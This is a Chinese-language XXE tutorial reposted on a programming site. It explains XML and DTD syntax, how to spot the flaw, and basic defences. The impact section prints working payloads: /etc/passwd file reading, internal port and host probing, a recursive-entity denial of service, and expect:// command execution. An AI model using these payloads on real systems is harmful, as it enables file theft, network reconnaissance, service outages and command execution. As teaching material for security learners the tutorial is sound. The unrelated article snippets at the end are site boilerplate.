XXE(XML外部實體注入)詳解

目錄

一、XXE漏洞簡介

二、XML詳解

(一) XML文檔結構

1. 文檔聲明

2. XML文檔類型定義(DTD)

3. XML文檔元素

4. XML文檔示例

三、XXE漏洞類型

四、XXE漏洞挖掘技巧

五、XXE漏洞危害

(一) 文件讀取

(二) 內網探測

1. 端口探測

2. 主機存活探測

(三) DOS攻擊

(四) RCE

六、XXE漏洞防御


一、XXE漏洞簡介

攻擊者通過在XML數據中惡意構造外部實體聲明(利用SYSTEM關鍵詞),誘使XML解析器(后端語言支持多種XML解析器)讀取本地受保護文件或訪問遠程資源,從而導致敏感信息泄露或SSRF、DOS等安全缺陷。

漏洞存在的前提條件:

  • 后端調用xml解析器
  • xml解析器開啟了外部實體
  • 應用程序接受用戶的 xml 輸入且未過濾 <!DOCTYPE><!ENTITY>
  • 注:網站開發使用的框架或庫亦或是協議(SAML/SOAP)可能會隱式調用xml解析器。

二、XML詳解

XML(eXtensible Markup Language,可擴展標記語言) 是一種用于存儲和傳輸數據標記語言(敏感大小寫,類似 HTML,但它的目的不是“顯示”,而是“描述數據結構”。

(一) XML文檔結構

1. 文檔聲明

XML 的第一行通常是聲明版本和編碼格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
#version			指定XML版本,常用1.0或1.1
#encoding			指定字符編碼(如UTF-8、ISO-8859-1),默認是UTF-8。
#standalone(可選)	表示是否依賴外部定義(yes表示獨立,no表示可能引用外部DTD)

注:聲明必須位于文檔開頭,不能有前置空格或空行。如果省略,解析器可能假定默認值。

2. XML文檔類型定義(DTD)

定義 XML 中允許的元素、屬性、結構等(類似模板),可以是本地定義,也可以引用外部文件。

DTD的組成:

  • <!DOCTYPE>:XML文檔類型聲明_作為 DTD 的入口,指定根元素并引入這些定義(內部或外部)。
  • <!ELEMENT>:XML類型定義_定義元素及其內容模型(如子元素或文本)
  • <!ATTLIST>:XML類型定義_定義元素的屬性及其類型、默認值
  • <!ENTITY>:XML類型定義_定義可重用的實體(如常量或外部資源)

XML文檔定義類型有兩種寫法:

  • 內部DTD定義
    • <!DOCTYPE 根元素 [元素聲明]>
    • 定義在XML文檔內部。
<!DOCTYPE user [< user (id, name)><!ELEMENT id (#PCDATA)><!ELEMENT name (#PCDATA)>
]>
  • 外部DTD引用
    • <!DOCTYPE 根元素 SYSTEM "文件名">
    • 引用外部文件
<!DOCTYPE user SYSTEM "http://xx.com/xx.dtd">

關于<!ENTITY>定義實體的三種類型

  • 內部實體
    • 引用&實體名稱;
    • <!ENTITY 實體名稱 "實體的值">
      • <!ENTITY test "123">
  • 外部實體
    • 引用:&實體名稱;
    • SYSTEM用來定義一個“外部實體
    • <!ENTITY 實體名稱 SYSTEM "URI">
      • <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 參數實體
    • % 聲明實體名稱
    • 引用:%實體名稱;
    • <!ENTITY %實體名稱 "實體的值">或者<!ENTITY %實體名稱 SYSTEM "URI">

3. XML文檔元素

XML 的主體結構就是由元素組成的,元素是成對的標簽,如 <tag></tag>,支持嵌套(樹形結構))。

組成部分

  • 根元素:XML文檔必須有且僅有一個根元素,包含所有其他元素。
  • 子元素:嵌套在根元素或其他元素內,表達數據的層級關系。
  • 屬性:附加在元素標簽中的鍵值對,提供額外信息。
  • 文本內容:元素標簽之間的數據(#PCDATA表示解析文本數據)。

元素組成規則

  • 根元素<user>...</user>(整個 XML 只能有一個根元素)
    • 在 XML 中,誰是最外層包裹所有內容的元素,誰就是“根元素”
  • 子元素<id>, <name>(可以嵌套,層級結構)
  • 屬性(可選)<user id="123">(元素也可以用屬性來表示數據)
<!-- 元素方式、元素通常用來表示復雜的數據結構 -->
<age>18</age><!-- 屬性方式、屬性適合存儲附加信息 -->
<user age="18"/>

4. XML文檔示例

  • 內部DTD
<?xml version="1.0" encoding="UTF-8"?>         <-- 1. XML 聲明
<!DOCTYPE user [                               <-- 2. DTD(內部或外部)<!ELEMENT user (id, name)>									 <-- 定義根元素 user<!ELEMENT id (#PCDATA)>											 <-- 定義元素 <id> 的內容只能是文本數據<!ELEMENT name (#PCDATA)>									 	 <-- 定義元素 <name> 的內容只能是文本數據
]>
<user>                                         <-- 3. 元素部分<id>123</id><name>兔八哥</name>
</user>
  • 外部DTD
    • 外部 DTD 文件(user.dtd):
<!ELEMENT user (id, name)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
  • XML 文件(引用外部 DTD):
    <?xml version="1.0" encoding="UTF-8"?>  <!-- 1. XML 聲明 -->
    <!DOCTYPE user SYSTEM "user.dtd">       <!-- 2. 外部 DTD 引用 -->
    <user>                                  <!-- 3. 元素部分 --><id>123</id><name>兔八哥</name>
    </user>

    三、XXE漏洞類型

    • 正常回顯XXE
      • xml數據被后端語言調用xml解析器處理成功,并且數據在網站中存在回顯位。
    • 無回顯(盲)XXE
      • xml數據被后端語言調用xml解析器處理成功,數據在網站中不存在回顯位。
    • 報錯XXE
      • xml數據被后端語言調用xml解析器在解析器處理過程中訪問受限或不存在的資源或其他行為,觸發異常回顯。

    四、XXE漏洞挖掘技巧

    1.看是否有接口的請求或響應中帶有:

    • Content-Type: application/xml
    • Content-Type: application/soap+xml
    • 類似帶有xml格式的內容,都可能存在解析xml代碼的情況。

    2.查看數據格式是否符合xml特征

    • 如標簽成對出現 <a></a>
      • <id>123</id><name>兔八哥</name>

    3.更改Content-Type請求頭為xml類型,請求體修改任意xml內容。

    • 查看反饋結果,判斷目標是否能解析xml。
    Content-Type: application/xml<?xml version="1.0"?>
    <data><msg>test</msg></data>

    五、XXE漏洞危害

    (一) 文件讀取

    PHP中可以通過FILE協議、HTTP協議和FTP協議讀取文件,還可利用PHP偽協議。

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>

    (二) 內網探測

    1. 端口探測

    <?xml version="1.0"?>
    <!DOCTYPE data [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
    ]>
    <msg>&xxe;</msg>

    2. 主機存活探測

    <?xml version="1.0"?>
    <!DOCTYPE data [<!ENTITY xxe SYSTEM "http://192.168.1.10">
    ]>
    <msg>&xxe;</msg>

    (三) DOS攻擊

    通過遞歸實體生成指數級內容,耗盡 CPU 和內存。

    <?xml version="1.0"?>
    <!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    ]>
    <root>&lol3;</root>

    (四) RCE

    expect://是 PHP 的 expect 擴展提供的協議,允許執行系統命令(如 expect://ls 執行 ls 命令)。

    通過 PHP 的 expect:// 協議執行系統命令(如 expect://ls)。

    注:基本上網站都不會安裝expect擴展,RCE在XXE漏洞中少見。

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">
    ]>
    <root>&xxe;</root>

    六、XXE漏洞防御

    禁用外部實體、過濾關鍵字(如<!DOCTYPE<!ENTITYSYSTEM等 )、使用WAF產品。

    本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
    如若轉載,請注明出處:http://www.pswp.cn/diannao/87496.shtml
    繁體地址,請注明出處:http://hk.pswp.cn/diannao/87496.shtml
    英文地址,請注明出處:http://en.pswp.cn/diannao/87496.shtml

    如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

    相關文章

    深入解析JVM字節碼執行引擎

    JVM 字節碼執行引擎。它是 JVM 核心組件之一&#xff0c;負責實際執行加載到內存中的字節碼指令。你可以將它想象成 JVM 的“CPU”。 核心職責&#xff1a; 加載待執行的字節碼&#xff1a; 從方法區&#xff08;元空間&#xff09;獲取已加載類的方法字節碼。創建和管理棧幀…

    華為OD機試-MELON的難題-DFS(JAVA 2025A卷)

    題意是從N快雨花石中找出最少拿出雨花石的塊數&#xff0c;使得雨花石可以均分&#xff0c;直接使用dfs解決此類組合問題 package com.example.demo.bean;import java.util.Arrays; import java.util.LinkedList; import java.util.Scanner;public class YuHuaStone {public s…

    鴻蒙數據庫操作

    一、使用關系型數據庫實現數據持久化&#xff0c;需要獲取一個RdbStore&#xff0c;其中包括建庫、建表、升降級等操作。 const STORE_CONFIG: relationalStore.StoreConfig {name: AnyOffice.db, // 數據庫文件名securityLevel: relationalStore.SecurityLevel.S1, // 數據庫…

    基于ARM SoC的半導體測試

    ARM SoC&#xff08;System on Chip&#xff09; 是一種集成了多個關鍵計算組件的單片系統芯片&#xff0c;廣泛應用于移動設備、嵌入式系統、物聯網&#xff08;IoT&#xff09;和半導體測試設備等領域。它的核心設計理念是“高度集成”&#xff0c;將處理器、內存、外設接口等…

    JavaEE->多線程2

    目錄 一、線程安全&#xff08;重點&#xff09; 1.線程安全演示 2.線程不安全的原因 1.線程是搶占式執行的&#xff08;執行順序是隨機的&#xff09; 2.多個線程同時修改了同一個變量 3.原子性 4.內存可見性 5.指令重排序&#xff08;有序性&#xff09; 二、解決線…

    Flutter TCP通信

    啟動TCP服務 Future<void> startServer() async {final server await ServerSocket.bind(InternetAddress.anyIPv4, 12345);print(Server listening on ${server.address}:${server.port});server.listen((Socket socket) {print(Client connected: ${socket.remoteAddr…

    flask拆分計劃

    兩個啟動鏈接&#xff0c;看日志提示是因為2次啟動&#xff0c;一次是database&#xff0c;一次是xmind2&#xff0c;去掉一次就可以&#xff0c;如何去掉一次&#xff1f; 這里啟動也調用了一次&#xff0c;所以測試環境注釋掉&#xff0c;如下圖&#xff0c;也就調用了一次

    【生活】ECMO原理、作用、費用及使用方法

    博客目錄 一、ECMO 是什么&#xff1f;二、ECMO 的作用1. 替代肺功能&#xff08;氧合與二氧化碳清除&#xff09;2. 替代心臟功能&#xff08;循環支持&#xff09;3. 為其他治療爭取時間4. 用于心肺復蘇&#xff08;ECPR&#xff09; 三、ECMO 的費用1. 設備使用費2. 耗材費用…

    Profinet轉EtherCAT網關模塊怎么用:案例分享

    在某制造工廠西門子S7-1200 PLC中&#xff0c;存在一個技術難題&#xff0c;即伺服驅動器與可編程邏輯控制器&#xff08;PLC&#xff09;之間的通訊不兼容問題。具體而言&#xff0c;PLC采用的是PROFINET通訊協議&#xff0c;而伺服EtherCAT協議驅動器則需要EtherCAT協議進行數…

    什么是 NLP-NLP基礎知識體系的系統認知

    NLP基礎知識體系的系統認知 一、引言 今天的學習內容集中于自然語言處理&#xff08;NLP&#xff09;的基本概念、發展歷程、核心任務及文本表示技術。通過這一學習過程&#xff0c;我對NLP這門學科有了更加系統和深入的認識&#xff0c;并且理解了NLP技術的廣泛應用及其復雜…

    數據結構 學習 鏈表 2025年6月14日08點01分

    單向鏈表: 線性數據結構 由一系列節點組成 每個節點包含: 數據部分:存儲實際數據 指針部分:儲存指向下一個節點的引用 特點1,每個節點只有一個指向下一個節點的指針 特點2,只能從頭到尾 單向遍歷 特點3,不需要連續的內存空間 特點4,插入和刪除效率高 特點5,隨機訪問 效率低 …

    使用 Kubernetes 部署 PHP 留言板應用(含 Redis 架構)

    使用 Kubernetes 部署 PHP 留言板應用&#xff08;含 Redis 架構&#xff09; 文章目錄 使用 Kubernetes 部署 PHP 留言板應用&#xff08;含 Redis 架構&#xff09;教程概述技術架構特點 準備工作環境要求 Redis 數據庫部署Redis 主從架構原理創建 Redis 領導者 Deployment部…

    MATLAB提供的兩種畫誤差矩陣的函數

    MATLAB在統計學和機器學習工具包中提供了兩種畫誤差矩陣&#xff08;Confusion matrix&#xff09;的函數。 figure; plotconfusion(YValidation,YPred)figure; cm confusionchart(YValidation,YPred) cm.Title Confusion Matrix for Validation Data; cm.RowSummary row-n…

    【Java學習筆記】泛型

    泛型 一、泛型的引出 代碼示例 public class pra {public static void main(String[] args) {ArrayList arrayList new ArrayList();arrayList.add("java");arrayList.add("jack");arrayList.add("jom");arrayList.add(new a());for (Object…

    SpringMVC系列(一)(介紹,簡單應用以及路徑位置通配符)

    0 引言 作者正在學習SpringMVC相關內容&#xff0c;學到了一些知識&#xff0c;希望分享給需要短時間想要了解SpringMVC的讀者朋友們&#xff0c;想用通俗的語言講述其中的知識&#xff0c;希望與諸位共勉&#xff0c;共同進步&#xff01; 1 SpringMVC介紹 SpringMVC本質上…

    Java中如何使用lambda表達式分類groupby

    Java中如何使用lambda表達式分類groupby Java中如何使用lambda表達式分類groupby分類問題場景傳統手寫方式lambda使用groupBy()方法一行結束&#xff01;&#xff01;&#xff01;完整代碼 Java中如何使用lambda表達式分類groupby 分類問題場景 比如一群學生根據性別和年齡排…

    無人機開發分享——無人機集群基于braft實現長機動態推選算法

    在無人機集群項目的算法開發中&#xff0c;推選長機作為集群的動態中心&#xff0c;往往承擔著集群管理、通訊中繼等重要功能。由于通訊鏈路的有限性和任務的實時性需要&#xff0c;需要保證動態長機時刻工作正常&#xff0c;并在異常情況下快速切換新長機。 本文主要分享基于b…

    python 解碼 jwt

    import base64 import jsondef base64url_decode(base64url_data):# 將URL安全的base64編碼數據轉換為標準的base64編碼數據base64_data base64url_data.replace(-, ).replace(_, /)# 如果數據長度不是4的倍數&#xff0c;則補齊padding_length 4 - len(base64_data) % 4base…

    騰訊云TCCA認證考試報名 - TDSQL數據庫交付運維工程師(MySQL版)

    數據庫交付運維工程師-騰訊云TDSQL(MySQL版)認證 適合人群&#xff1a; 適合從事TDSQL(MySQL版)交付、初級運維、售前咨詢以及TDSQL相關項目的管理人員。 認證考試 單選*40道多選*20道 成績查詢 70分及以上通過認證&#xff0c;官網個人中心->認證考試 查詢 考試費用&am…

    Spring Boot的Security安全控制——認識SpringSecurity!

    Spring Boot的Security安全控制 在Web項目開發中&#xff0c;安全控制是非常重要的&#xff0c;不同的人配置不同的權限&#xff0c;這樣的系統才安全。最常見的權限框架有Shiro和Spring Security。Shiro偏向于權限控制&#xff0c;而Spring Security能實現權限控制和安全控制…